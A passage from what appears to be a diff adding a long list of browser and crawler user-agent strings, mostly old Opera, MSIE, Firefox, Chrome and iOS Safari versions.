U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 +Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 +Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 +Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 +Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 +Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 +Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (X11; U; SunOS sun4u; it-IT; ) Gecko/20080000 Firefox/3.0 +Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 +Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 +Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 +Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 +Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 +Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) +Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) +Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) +Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) +Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) +Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) +Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc +Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10 +Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 +Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 +Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 +Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10 +Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 +Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 +Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7 +Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 +Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 +Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 +Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 +Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 +Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 +Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 +Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10 +Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc +Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 +Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 +Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 +Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 +Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) +Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 +Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) +Opera 9.4 (Windows NT 5.3; U; en) +Opera 9.4 (Windows NT 6.1; U; en) +Opera 9.7 (Windows NT 5.2; U; en) +Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 +Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 +Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 +Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) +Opera/7.23 (Windows 98; U) [en] +Opera/8.0 (X11; Linux i686; U; cs) +Opera/8.00 (Windows NT 5.1; U; en) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) +Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 +Opera/8.02 (Windows NT 5.1; U; en) +Opera/8.5 (X11; Linux i686; U; cs) +Opera/8.50 (Windows NT 5.1; U; en) +Opera/8.51 (Windows NT 5.1; U; en) +Opera/9.0 (Windows NT 5.0; U; en) +Opera/9.00 (Macintosh; PPC Mac OS X; U; en) +Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) +Opera/9.00 (Windows NT 5.1; U; en) +Opera/9.00 (Windows NT 5.2; U; en) +Opera/9.00 (Windows NT 6.0; U; en) +Opera/9.01 (X11; Linux i686; U; en) +Opera/9.02 (Windows NT 5.1; U; en) +Opera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl) +Opera/9.10 (Windows NT 5.1; U; es-es) +Opera/9.10 (Windows NT 5.1; U; fi) +Opera/9.10 (Windows NT 5.1; U; hu) +Opera/9.10 (Windows NT 5.1; U; it) +Opera/9.10 (Windows NT 5.1; U; nl) +Opera/9.10 (Windows NT 5.1; U; pl) +Opera/9.10 (Windows NT 5.1; U; pt) +Opera/9.10 (Windows NT 5.1; U; sv) +Opera/9.10 (Windows NT 5.1; U; zh-tw) +Opera/9.10 (Windows NT 5.2; U; de) +Opera/9.10 (Windows NT 5.2; U; en) +Opera/9.10 (Windows NT 6.0; U; en) +Opera/9.10 (Windows NT 6.0; U; it-IT) +Opera/9.10 (X11; Linux i386; U; en) +Opera/9.10 (X11; Linux i686; U; en) +Opera/9.10 (X11; Linux i686; U; kubuntu;pl) +Opera/9.10 (X11; Linux i686; U; pl) +Opera/9.10 (X11; Linux x86_64; U; en) +Opera/9.10 (X11; Linux; U; en) +Opera/9.12 (Windows NT 5.0; U) +Opera/9.12 (Windows NT 5.0; U; ru) +Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) +Opera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es) +Opera/9.20 (Windows NT 5.1; U; en) +Opera/9.20 (Windows NT 5.1; U; es-AR) +Opera/9.20 (Windows NT 5.1; U; es-es) +Opera/9.20 (Windows NT 5.1; U; it) +Opera/9.20 (Windows NT 5.1; U; nb) +Opera/9.20 (Windows NT 5.1; U; zh-tw) +Opera/9.20 (Windows NT 5.2; U; en) +Opera/9.20 (Windows NT 6.0; U; de) +Opera/9.20 (Windows NT 6.0; U; en) +Opera/9.20 (Windows NT 6.0; U; es-es) +Opera/9.20 (X11; Linux i586; U; en) +Opera/9.20 (X11; Linux i686; U; en) +Opera/9.20 (X11; Linux i686; U; es-es) +Opera/9.20 (X11; Linux i686; U; pl) +Opera/9.20 (X11; Linux i686; U; ru) +Opera/9.20 (X11; Linux i686; U; tr) +Opera/9.20 (X11; Linux ppc; U; en) +Opera/9.20 (X11; Linux x86_64; U; en) +Opera/9.20(Windows NT 5.1; U; en) +Opera/9.21 (Macintosh; Intel Mac OS X; U; en) +Opera/9.21 (Macintosh; PPC Mac OS X; U; en) +Opera/9.21 (Windows 98; U; en) +Opera/9.21 (Windows NT 5.0; U; de) +Opera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en) +Opera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) +Opera/9.21 (Windows NT 5.1; U; de) +Opera/9.21 (Windows NT 5.1; U; en) +Opera/9.21 (Windows NT 5.1; U; fr) +Opera/9.21 (Windows NT 5.1; U; nl) +Opera/9.21 (Windows NT 5.1; U; pl) +Opera/9.21 (Windows NT 5.1; U; pt-br) +Opera/9.21 (Windows NT 5.1; U; ru) +Opera/9.21 (Windows NT 5.2; U; en) +Opera/9.21 (Windows NT 6.0; U; en) +Opera/9.21 (Windows NT 6.0; U; nb) +Opera/9.21 (X11; Linux i686; U; de) +Opera/9.21 (X11; Linux i686; U; en) +Opera/9.21 (X11; Linux i686; U; es-es) +Opera/9.21 (X11; Linux x86_64; U; en) +Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) +Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru) +Opera/9.22 (Windows NT 5.1; U; en) +Opera/9.22 (Windows NT 5.1; U; fr) +Opera/9.22 (Windows NT 5.1; U; pl) +Opera/9.22 (Windows NT 6.0; U; en) +Opera/9.22 (Windows NT 6.0; U; ru) +Opera/9.22 (X11; Linux i686; U; de) +Opera/9.22 (X11; Linux i686; U; en) +Opera/9.22 (X11; OpenBSD i386; U; en) +Opera/9.23 (Mac OS X; fr) +Opera/9.23 (Mac OS X; ru) +Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) +Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) +Opera/9.23 (Windows NT 5.0; U; de) +Opera/9.23 (Windows NT 5.0; U; en) +Opera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) +Opera/9.23 (Windows NT 5.1; U; da) +Opera/9.23 (Windows NT 5.1; U; de) +Opera/9.23 (Windows NT 5.1; U; en) +Opera/9.23 (Windows NT 5.1; U; fi) +Opera/9.23 (Windows NT 5.1; U; it) +Opera/9.23 (Windows NT 5.1; U; ja) +Opera/9.23 (Windows NT 5.1; U; pt) +Opera/9.23 (Windows NT 5.1; U; zh-cn) +Opera/9.23 (Windows NT 6.0; U; de) +Opera/9.23 (X11; Linux i686; U; en) +Opera/9.23 (X11; Linux i686; U; es-es) +Opera/9.23 (X11; Linux x86_64; U; en) +Opera/9.24 (Macintosh; PPC Mac OS X; U; en) +Opera/9.24 (Windows NT 5.0; U; ru) +Opera/9.24 (Windows NT 5.1; U; ru) +Opera/9.24 (Windows NT 5.1; U; tr) +Opera/9.24 (X11; Linux i686; U; de) +Opera/9.24 (X11; SunOS i86pc; U; en) +Opera/9.25 (Macintosh; Intel Mac OS X; U; en) +Opera/9.25 (Macintosh; PPC Mac OS X; U; en) +Opera/9.25 (OpenSolaris; U; en) +Opera/9.25 (Windows NT 4.0; U; en) +Opera/9.25 (Windows NT 5.0; U; cs) +Opera/9.25 (Windows NT 5.0; U; en) +Opera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br) +Opera/9.25 (Windows NT 5.1; U; de) +Opera/9.25 (Windows NT 5.1; U; lt) +Opera/9.25 (Windows NT 5.1; U; ru) +Opera/9.25 (Windows NT 5.1; U; zh-cn) +Opera/9.25 (Windows NT 5.2; U; en) +Opera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru) +Opera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru) +Opera/9.25 (Windows NT 6.0; U; en-US) +Opera/9.25 (Windows NT 6.0; U; ru) +Opera/9.25 (Windows NT 6.0; U; sv) +Opera/9.25 (X11; Linux i686; U; en) +Opera/9.25 (X11; Linux i686; U; fr) +Opera/9.25 (X11; Linux i686; U; fr-ca) +Opera/9.26 (Macintosh; PPC Mac OS X; U; en) +Opera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en) +Opera/9.26 (Windows NT 5.1; U; de) +Opera/9.26 (Windows NT 5.1; U; nl) +Opera/9.26 (Windows NT 5.1; U; pl) +Opera/9.26 (Windows NT 5.1; U; zh-cn) +Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) +Opera/9.27 (Windows NT 5.1; U; ja) +Opera/9.27 (Windows NT 5.2; U; en) +Opera/9.27 (X11; Linux i686; U; en) +Opera/9.27 (X11; Linux i686; U; fr) +Opera/9.30 (Nintendo Wii; U; ; 2047-7; de) +Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr) +Opera/9.30 (Nintendo Wii; U; ; 2047-7;en) +Opera/9.30 (Nintendo Wii; U; ; 2047-7;es) +Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br) +Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en) +Opera/9.5 (Windows NT 5.1; U; fr) +Opera/9.5 (Windows NT 6.0; U; en) +Opera/9.50 (Macintosh; Intel Mac OS X; U; de) +Opera/9.50 (Macintosh; Intel Mac OS X; U; en) +Opera/9.50 (Windows NT 5.1; U; es-ES) +Opera/9.50 (Windows NT 5.1; U; it) +Opera/9.50 (Windows NT 5.1; U; nl) +Opera/9.50 (Windows NT 5.1; U; nn) +Opera/9.50 (Windows NT 5.1; U; ru) +Opera/9.50 (Windows NT 5.2; U; it) +Opera/9.50 (X11; Linux i686; U; es-ES) +Opera/9.50 (X11; Linux ppc; U; en) +Opera/9.50 (X11; Linux x86_64; U; nb) +Opera/9.50 (X11; Linux x86_64; U; pl) +Opera/9.51 (Macintosh; Intel Mac OS X; U; en) +Opera/9.51 (Windows NT 5.1; U; da) +Opera/9.51 (Windows NT 5.1; U; en) +Opera/9.51 (Windows NT 5.1; U; en-GB) +Opera/9.51 (Windows NT 5.1; U; es-AR) +Opera/9.51 (Windows NT 5.1; U; es-LA) +Opera/9.51 (Windows NT 5.1; U; fr) +Opera/9.51 (Windows NT 5.1; U; nn) +Opera/9.51 (Windows NT 5.2; U; en) +Opera/9.51 (Windows NT 6.0; U; en) +Opera/9.51 (Windows NT 6.0; U; es) +Opera/9.51 (Windows NT 6.0; U; sv) +Opera/9.51 (X11; Linux i686; U; Linux Mint; en) +Opera/9.51 (X11; Linux i686; U; de) +Opera/9.51 (X11; Linux i686; U; fr) +Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) +Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) +Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) +Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) +Opera/9.52 (Windows NT 5.0; U; en) +Opera/9.52 (Windows NT 5.2; U; ru) +Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) +Opera/9.52 (Windows NT 6.0; U; de) +Opera/9.52 (Windows NT 6.0; U; en) +Opera/9.52 (Windows NT 6.0; U; fr) +Opera/9.52 (X11; Linux i686; U; cs) +Opera/9.52 (X11; Linux i686; U; en) +Opera/9.52 (X11; Linux i686; U; fr) +Opera/9.52 (X11; Linux ppc; U; de) +Opera/9.52 (X11; Linux x86_64; U) +Opera/9.52 (X11; Linux x86_64; U; en) +Opera/9.52 (X11; Linux x86_64; U; ru) +Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 +Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 +Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 +Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 +Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 +Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 +Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 +Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 +Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 +Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 +Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 +Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 +Opera/9.60 (X11; Linux x86_64; U) +Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 +Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 +Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 +Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 +Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 +Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 +Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 +Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 +Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 +Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 +Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 +Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 +Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 +Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 +Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 +Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 +Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 +Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 +Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 +Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 +Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 +Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 +Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 +Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 +Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 +Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 +Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 +Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 +Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 +Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 +Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 +Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 +Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 +Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 +Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 +Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 +Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 +Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 +Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 +Opera/9.63 (X11; Linux i686) +Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 +Opera/9.63 (X11; Linux i686; U; en) +Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 +Opera/9.63 (X11; Linux i686; U; ru) +Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 +Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 +Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 +Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 +Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 +Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 +Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 +Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 +Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 +Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 +Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 +Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 +Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0 +Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1 +Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0 +Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0 +Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1 +Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 +Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 +Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 +Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 +Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 +Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 +Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 +Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 +Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 +Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 +Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 +Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 +Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 +Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 